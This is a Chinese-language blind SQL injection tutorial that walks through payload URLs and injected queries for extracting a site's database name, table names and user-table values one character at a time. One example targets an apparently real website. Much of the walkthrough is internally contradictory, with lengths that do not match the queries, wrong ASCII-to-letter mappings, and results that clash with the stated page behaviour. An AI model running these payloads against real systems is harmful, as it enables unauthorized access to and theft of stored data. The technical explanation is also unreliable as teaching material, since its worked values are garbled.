识别漏洞
通常在 Blind SQLi 中,您无法真正看到您输入的查询的输出。在这种情况下,验证漏洞的唯一方法是查看网站是否成功/部分加载。
使用以下查询来识别网站行为:
代码语言:javascript复制http://domain.com/index.php?id=1' AND 4570=4570 AND 'ZeoB'='ZeoB
页面完全加载成功。
代码语言:javascript复制http://www.nttbworld.com/tour-details.php?id=65' AND 4570=4570 AND 'ZeoB'='ZeoBFalse
页面将部分加载或什至不会加载。
检索数据库
检索数据库名称的长度
给定的查询将验证数据库是否有 14 个字符。
代码语言:javascript复制http://domain.com/index.php?id=1' AND (length(database())) = 15 --
如果网站部分加载或不加载,则表示数据库不是 10 个字符长。
给定的查询将验证数据库是否有 9 个字符。
代码语言:javascript复制http://domain.com/index.php?id=1' AND (length(database())) = 11 --
页面加载成功。数据库名称长度为 11 个字符。
检索数据库名称
这种方法很慢,因为我们必须对数据库的每个字符进行命中或未命中。下面就让我们一起来看看吧。下表将帮助我们将 ascii 转换为字符串。
给定的查询将定义数据库名称的第一个字符是 111 (o)
代码语言:javascript复制http://domain.com/index.php?id=1' AND (ascii(substr((select database()),1,1))) > 110 --
网站没有完全加载,所以我们的条件不正确,让我们尝试另一个 ascii。
给定的查询将定义数据库名称的第一个字符是 110 (n)
代码语言:javascript复制http://domain.com/index.php?id=1' AND (ascii(substr((select database()),1,1))) > 109 --
网站完全加载,这意味着数据库的第一个字符是n。
继续枚举数据库名称的第二个字符。
给定的查询将定义数据库名称的第一个字符是 98 (h)
代码语言:javascript复制http://domain.com/index.php?id=1' AND (ascii(substr((select database()),2,1))) > 97 --
网站没有完全加载,所以我们的条件不正确,让我们尝试另一个 ascii。
给定的查询将定义数据库名称的第一个字符是 116 (t)
代码语言:javascript复制http://domain.com/index.php?id=1' AND (ascii(substr((select database()),2,1))) > 115 --
网站完全加载,这意味着数据库的第二个字符是t。
继续一遍又一遍地执行相同的过程,直到找到所有 11 个字符。
第一个字符:110 -> n 第二个字符:116 -> t 第三个字符:116 -> t 第四个字符:104 -> h 第五个字符:119 -> w 第六个字符:102 -> f 第七个字符:105 -> i 第八个字符:57 -> 9 第 九 个字符:95 -> _ 第 十 个字符:100 -> d 第 十一 个字符:98 -> b
所有 11 个字符组合在一起将是数据库名称:ntthwfi9_db
检索表名的长度
给定查询将测试第一个表的字符串长度是否等于 4 的条件。
代码语言:javascript复制' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 4 --
网站没有正常加载,如果长度是5个字符我们试试:
代码语言:javascript复制' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 5 --
网站加载完全,所以第一个表名的长度是5。
注意:您也可以通过更改这部分有效负载中的数值来枚举其他表:(限制0 ,1)。只需用另一个号码替换它。例如,让我们看看第 4 列是否有 6 个字符:
代码语言:javascript复制' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 6 --
检索表名的名称
在这种情况下,我将列举第一列。让我们找到表格的第一个字符:
代码语言:javascript复制' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 108 --
网站无法正常加载,错误响应。
代码语言:javascript复制' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 114 --
网站无法正常加载,错误响应。
代码语言:javascript复制' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 116 --
网站完全加载,这意味着第一个字符是 ascii 117 (u)。
让我们找到表格的最后一个字符(第 5 个字符):
代码语言:javascript复制' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1) ,1,1))) > 96 --
网站无法正常加载,错误响应。
代码语言:javascript复制' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1) ,1,1))) > 105 --
网站无法正常加载,错误响应。
代码语言:javascript复制' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1) ,1,1))) > 114 --
网站满载,这意味着第一个字符是ascii 115(s)。
继续对其他字符执行相同的过程,直到找到所有字符。
第一个字符:110 -> u 第二个字符:115 -> s 第三个字符:101 -> e 第四个字符:114 -> r 第五个字符:115 -> s
所有 5 个字符组合在一起将是第一个表名:users
检索列名的长度
使用与之前相同的方法,枚举列名的长度。
下面给出的查询将测试字符串长度是否等于 6:
代码语言:javascript复制' AND (length((select username from users limit 0,1))) = 6 --
网站加载不正确,列不是 6 个字符长。
下面给出的查询将测试字符串长度是否等于 4:
代码语言:javascript复制' AND (length((select username from users limit 0,1))) = 4 --
网站已完全加载,列长度为 6 个字符。
使用相同的方法,您还可以枚举其他列。
枚举第二列的长度是否为 6:
代码语言:javascript复制' AND (length((select username from users limit 1,1))) = 6 --
枚举第三列的长度是否为 5:
代码语言:javascript复制' AND (length((select username from users limit 2,1))) = 5 --
检索列名
既然我们知道列名的长度是4,那么我们来一一找出字符。
下面给出的查询将测试第一个列名的第一个字符是否为 ascii 101 (e):
代码语言:javascript复制' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 100 --
网站没有正确加载,第一个字符不是e。
下面给出的查询将测试第一个列名的第一个字符是否为 ascii 112 (p):
代码语言:javascript复制' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 111 --
网站未正确加载,第一个字符为p
下面给出的查询将测试第一列名称的第二个字符是否为 ascii 97 (a):
代码语言:javascript复制' AND (ascii(substr((select username from users limit 1,1) ,1,1))) > 96 --
网站未正确加载,第二个字符为 a
下面给出的查询将测试第一列名称的第三个字符是否为 ascii 115 (s):
代码语言:javascript复制' AND (ascii(substr((select username from users limit 2,1) ,1,1))) > 114 --
网站未正确加载,第三个字符为s
下面给出的查询将测试第一列名称的第四个字符是否为 ascii 115 (s):
代码语言:javascript复制' AND (ascii(substr((select username from users limit 3,1) ,1,1))) > 114 --
网站未正确加载,第四个字符为s
第一个字符:110 -> p
第二个字符:97 -> a
第三个字符:115 -> s
第四个字符:115 ->s
所有 4 个字符组合在一起将是列表名称:pass